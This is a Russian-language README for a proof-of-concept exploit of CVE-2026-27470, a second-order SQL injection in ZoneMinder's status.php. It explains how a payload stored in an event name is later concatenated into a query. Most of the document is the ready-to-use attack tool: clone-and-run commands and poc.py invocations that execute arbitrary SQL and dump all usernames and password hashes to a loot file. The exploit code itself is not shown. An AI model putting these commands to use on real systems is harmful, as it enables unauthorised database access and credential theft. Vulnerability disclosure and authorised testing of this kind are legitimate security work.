
Python PoC для CVE-2026-27470, аутентифицированная SQL-инъекция второго порядка в getNearEvents() (status.php) в ZoneMinder, CVSS 8.8
Автор: d3vn0mi | CVSS 8.8 | Требуется аутентификация | Требуется разрешение Events
CVE-2026-27470 — это уязвимость SQL-инъекции второго порядка в web/ajax/status.php ZoneMinder, а именно в функции getNearEvents().
| Деталь | Значение |
|---|
| Затронуто | ZoneMinder <= 1.36.37 и 1.37.61 – 1.38.0 |
| Исправлено в | 1.36.38 / 1.38.1 |
| Тип | SQL-инъекция второго порядка |
| Требуется аутентификация | Да (любой пользователь с разрешением Events) |
| CVSS | 8.8 (Высокий) |
Уязвимость представляет собой SQL-инъекцию в два этапа (второго порядка):
Этап 1 — Сохранение: Злоумышленник переименовывает событие (или изменяет его поле Cause), чтобы внедрить SQL-полезную нагрузку. ZoneMinder использует параметризованный запрос для этой записи, поэтому полезная нагрузка безопасно сохраняется в базе данных — ни WAF, ни фильтры её не блокируют.
Этап 2 — Запуск: Злоумышленник запрашивает сущность nearevents через API статуса. Функция getNearEvents() считывает сохранённые Name/Cause события из базы данных и напрямую конкатенирует их в новый SQL-запрос без санитизации, что приводит к SQL-инъекции.
Поскольку вектор инъекции (сохранённые данные) отделён от триггера (чистый GET-запрос), это обходит большинство защит на уровне ввода.
git clone https://github.com/d3vn0mi/CVE-2026-27470-POC.git
cd CVE-2026-27470-POC
pip install -r requirements.txt
python3 poc.py -t http://10.10.10.10 -u admin -p password
python3 poc.py -t http://10.10.10.10 -u admin -p password --query "SELECT user()"
python3 poc.py -t http://10.10.10.10 -u admin -p password --dump-users
Учётные данные по умолчанию сохраняются в dumped_creds.txt.
python3 poc.py -t http://10.10.10.10 -u admin -p password --dump-users -o loot.txt
python3 poc.py -t http://10.10.10.10 -u admin -p password --query "SELECT @@datadir" -o result.txt
python3 poc.py -t http://10.10.10.10 -u admin -p password --proxy http://127.0.0.1:8080
python3 poc.py -t http://10.10.10.10 -u admin -p password --field Cause --query "SELECT database()"
python3 poc.py -t http://10.10.10.10 -u admin -p password --event-id 42
python3 poc.py -t http://10.10.10.10 -u admin -p password -v
| Флаг | Описание | По умолчанию |
|---|---|---|
-t, --target | URL цели | (обязательно) |
-u, --username | Имя пользователя ZoneMinder | (обязательно) |
-p, --password | Пароль ZoneMinder | (обязательно) |
--query | SQL-запрос для выполнения | SELECT VERSION() |
--dump-users | Выгрузить все имена пользователей и хэши паролей | |
-o, --output | Сохранить результаты в файл | dumped_creds.txt |
--event-id | ID события, используемого как носитель инъекции | (автоопределение) |
--field | Поле инъекции: Name или Cause | Name |
--no-restore | Не восстанавливать имя события после эксплуатации | |
--proxy | URL HTTP-прокси | |
--timeout | Таймаут запроса в секундах | 30 |
-v, --verbose | Включить отладочное логирование |
Этот инструмент предоставляется только для образовательных целей и авторизованных исследований безопасности. Не используйте его против систем, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения. Авторы не несут ответственности за любое неправомерное использование или ущерб, причинённый этим инструментом.